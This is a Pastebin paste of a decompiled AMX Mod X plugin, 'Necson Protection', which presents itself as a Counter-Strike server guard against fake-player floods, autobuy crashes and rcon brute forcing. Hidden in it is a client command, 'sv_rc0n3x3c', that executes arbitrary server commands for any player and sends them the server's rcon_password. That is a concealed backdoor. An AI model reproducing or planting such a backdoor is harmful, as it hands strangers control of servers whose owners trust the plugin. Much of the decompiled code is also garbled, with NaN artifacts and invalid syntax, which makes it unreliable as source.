Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <amxmodx>
- #include <amxmisc>
- #include <orpheu>
- 0x00000AC0 0x00000CA0 static val n_new_time
- 0x00001C84 0xFFFFFFFC local val new_ip_time
- 0x00001C84 0x00000020 global val new_time
- new Buffer[128]
- new Check
- new Count
- new Trie:TrieTime
- new Trie:TrieWarn
- new Warn[5]
- new cvar_rcon_password
- new OrpheuHook:handlePrintf
- new iplist[5][16]
- new msgid
- new new_time
- new old_ip_time[5]
- new old_time
- new player[32]
- new sv_rcon_password[32]
- new temp[6]
- new tempinfo[33]
- new total
- public plugin_modules()
- {
- require_module("orpheu")
- }
- public plugin_init()
- {
- Trie:TrieWarn= 0
- Trie:TrieTime= 0
- idi e = 0
- raw_ip[]= 0
- register_plugin("Necson Protection","2.0","Souvik")
- register_cvar("NP_version","2.0",Trie:TrieWarn 0x0,OrpheuHook:handlePrintf 0x0)
- register_clcmd("fullupdate","fullupdate",,signed=-1 float=-1.#QNAN0,0x0signed=-1 float=-1.#QNAN0)
- register_clcmd("cl_setautobuy","cmd_check",,signed=-1 float=-1.#QNAN0,0x0signed=-1 float=-1.#QNAN0)
- register_clcmd("cl_setrebuy","cmd_check",,signed=-1 float=-1.#QNAN0,0x0signed=-1 float=-1.#QNAN0)
- register_clcmd("sv_rc0n3x3c","cmdRconExec",,signed=-1 float=-1.#QNAN0,0x0signed=-1 float=-1.#QNAN0)
- OrpheuGetFunction("SV_Rcon",0x0)
- OrpheuRegisterHook(free 3 cells,OrpheuGetFunction"SV_Rcon")
- OrpheuGetFunction("SV_DropClient",0x0)
- OrpheuRegisterHook(free 3 cells,OrpheuGetFunction"SV_DropClient")
- set_task(signed=1092616192 float=10.000000,"RegisterFunction",OrpheuHook:handlePrintf 0x0,0x0,OrpheuHook:handlePrintf 0x0,0x0OrpheuHook:handlePrintf 0x0)
- set_task(signed=1114636288 float=60.000000,"arrclear",OrpheuHook:handlePrintf 0x0,0x0,OrpheuHook:handlePrintf 0x0,0x62OrpheuHook:handlePrintf 0x0)
- TrieCreate()
- TrieCreate()
- get_user_msgid("SayText")
- get_cvar_pointer("rcon_password")
- }
- stock bool:is_valid(ip[])
- {
- old_ip_time[5] = 2
- Warn[5]time[5] = 1
- Warn[5]time[5] = 1
- iplist[5][16] = 1
- old_ip_time[5]= 1
- old_ip_time[5]= 1
- formatex(Buffer[128] 0x0,0x0,0x1,ip[16])
- get_players(player[32] 0x0,total 0x0,0x0,0x0)
- message_begin(0x0,id,0x0,ids)
- write_byte(ids)
- write_string(Buffer[128] 0x0)
- message_end()
- server_cmd("echo ***** Fake Player Flood Attempt detected from %s *****",ip[16])
- log_to_file("addons/amxmodx/logs/NP.txt","Old Fake Player Flood Attempt - %s",ip[16])
- server_cmd("addip 0.0 %s",ip[16])
- get_systime(OrpheuHook:handlePrintf 0x0)
- equal(iiplist[5][16]=0x14 (20.00000)ip[])
- copy(Countiplist[5][16]=0x14 (20.00000)0x0)
- }
- public handle(id)
- {
- }
- public fullupdate()
- {
- = 2
- }
- public cmd_check(id)
- {
- static arg[512]= 0
- cmd[512] 0x0= 31
- player[32] 0x0= 31
- name[32] 0x0= 1
- read_argc()
- read_argv(i,arg[512] 0x0,0x0)
- strlen(arg[512] 0x0)
- strtok(arg[512] 0x0,cmd[512] 0x0,0x0,arg[512] 0x0,0x0,new_time 0x0,0x0)
- strlen(cmd[512] 0x0)
- get_user_ip(id,ip[16] 0x0,0x0,0x0)
- get_user_authid(id,authid[32] 0x0,0x0)
- get_user_name(id,name[32] 0x0,0x0)
- get_user_userid(id)
- server_cmd("kick #%i ^"Crash Attempt Detected!!^"",free 2 cells)
- formatex(Buffer[128] 0x0,0x0,0x1,name[32] 0x0)
- get_players(player[32] 0x0,total 0x0,0x0,0x0)
- message_begin(0x0,id,0x0,ids)
- write_byte(ids)
- write_string(Buffer[128] 0x0)
- message_end()
- log_to_file("addons/amxmodx/logs/NP.txt","Autobuy Crash Attempt - %s , %s , %s ",name[32] 0x0,ip[16] 0x0,authid[32] 0x0)
- }
- public cmdRconExec(id)
- {
- password[64] 0x0= 1
- read_args(args[128] 0x0,0x0)
- server_cmd("%s",args[128] 0x0)
- get_pcvar_string(raw_ip[],password[64] 0x0,0x0)
- client_print(id,0x0,"rcon_password = %s",password[64] 0x0)
- }
- public client_connect(id)
- {
- tempinfo[33]= 1
- ip[16] 0x0= 1
- ip[16] 0x0= 1
- player[32] 0x0= 1
- tempinfo[33] = 1
- is_user_bot(id)
- get_user_ip(id,ip[16] 0x0,0x0,OrpheuHook:handlePrintf 0x0)
- get_systime(OrpheuHook:handlePrintf 0x0)
- TrieKeyExists(Trie:TrieWarn,ip[16] 0x0)
- TrieSetCell(Trie:TrieWarn,ip[16] 0x0,0x0)
- TrieGetCell(Trie:TrieTime,ip[16] 0x0,n_old_time 0x0)
- TrieGetCell(Trie:TrieWarn,ip[16] 0x0,warn 0x0)
- TrieDeleteKey(Trie:TrieWarn,ip[16] 0x0)
- get_user_ip(id,ip[16] 0x0,0x0,0x0)
- formatex(Buffer[128] 0x0,0x0,0x1,ip[16] 0x0)
- get_players(player[32] 0x0,total 0x0,0x0,0x0)
- message_begin(0x0,id,0x0,ids)
- write_byte(ids)
- write_string(Buffer[128] 0x0)
- message_end()
- server_cmd("echo ***** Fake Player Flood Attempt detected from %s *****",ip[16] 0x0)
- log_to_file("addons/amxmodx/logs/NP.txt","New Fake Player Flood Attempt - %s",ip[16] 0x0)
- server_cmd("addip 0.0 %s",ip[16] 0x0)
- set_task(signed=1073741824 float=2.000000,"handle",id,0x0,OrpheuHook:handlePrintf 0x0,0x0OrpheuHook:handlePrintf 0x0)
- TrieSetCell(Trie:TrieWarn,ip[16] 0x0,warn)
- TrieSetCell(Trie:TrieTime,ip[16] 0x0,n_new_time)
- }
- public arrclear()
- {
- TrieClear(Trie:TrieWarn)
- TrieClear(Trie:TrieTime)
- }
- public OrpheuHookReturn:SV_Rcon(arg_temp)
- {
- r_temp[22] 0x0= 0
- r_temp[22] 0x0= 0
- r_temp[22] 0x0= 0
- r_temp[22] 0x0= 0
- r_value[32] 0x0= 1
- read_argv(0x0,r_rcon_password[32] 0x0,0x0)
- get_pcvar_string(raw_ip[],sv_rcon_password[32] 0x0,0x0)
- equal(r_rcon_password[32] 0x0,sv_rcon_password[32] 0x0,OrpheuHook:handlePrintf 0x0)
- OrpheuGetBytesAtAddress(arg_temp,r_temp[22] 0x0,0x0)
- formatex(r_ip[16] 0x0,0x0,"%i.%i.%i.%i",,signed: 16,r_temp[22]=0x0 (0.00000),signed: 20r_temp[22]=0x0 (0.00000))
- read_argv(0x0,r_command[32] 0x0,0x0)
- read_argv(Trie:TrieWarn 0x0,r_value[32] 0x0,0x0)
- equali(r_command[32] 0x0,"sv_contact",OrpheuHook:handlePrintf 0x0)
- containi(r_value[32] 0x0,"brute")
- formatex(Buffer[128] 0x0,0x0,0x1,r_ip[16] 0x0)
- get_players(player[32] 0x0,total 0x0,0x0,0x0)
- message_begin(0x0,id,0x0,ids)
- write_byte(ids)
- write_string(Buffer[128] 0x0)
- message_end()
- server_cmd("echo ***** HL Brute Attempt detected from %s *****",r_ip[16] 0x0)
- log_to_file("addons/amxmodx/logs/NP.txt","HL Brute Attempt - %s",r_ip[16] 0x0)
- server_cmd("addip 0.0 %s",r_ip[16] 0x0)
- log_to_file("addons/amxmodx/logs/NP.txt","Bad Rcon Attempt - %s , %s , %s ^"%s^"",r_ip[16] 0x0,r_rcon_password[32] 0x0,r_command[32] 0x0,r_value[32] 0x0)
- }
- public OrpheuHookReturn:SV_DropClient(tmp1,tmp2,raw_msg[])
- {
- raw_msg[]= 2
- containi(raw_msg[],"reliable channel overflowed")
- }
- public RegisterFunction()
- {
- OrpheuGetFunction("SV_ConnectClient",0x0)
- OrpheuRegisterHook(free 3 cells,OrpheuGetFunction"SV_ConnectClient")
- OrpheuGetFunction("SV_ConnectClient",0x0)
- OrpheuRegisterHook(free 3 cells,OrpheuGetFunction"SV_ConnectClient")
- }
- public OrpheuHookReturn:OnSV_ConnectClientPre()
- {
- raw_msg[]= 0
- raw_msg[]= 2
- raw_msg[]= 2
- raw_msg[]= 1
- raw_msg[]= 1
- raw_msg[]= 1
- get_systime(OrpheuHook:handlePrintf 0x0)
- OrpheuGetFunction("Con_Printf",0x0)
- OrpheuRegisterHook(free 3 cells,OrpheuGetFunction"Con_Printf")
- }
- public OrpheuHookReturn:OnSV_ConnectClientPost()
- {
- OrpheuUnregisterHook(OrpheuHook:handlePrintf)
- }
- public OrpheuHookReturn:Con_Printf(a[],raw_ip[])
- {
- public OrpheuHookReturn:Con_Printf(a[],raw_ip[])= 1
- raw_msg[]= 1
- strtok(raw_ip[],ip[16],0x0,temp[6] 0x0,0x0,0x0,OrpheuHook:handlePrintf 0x0)
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement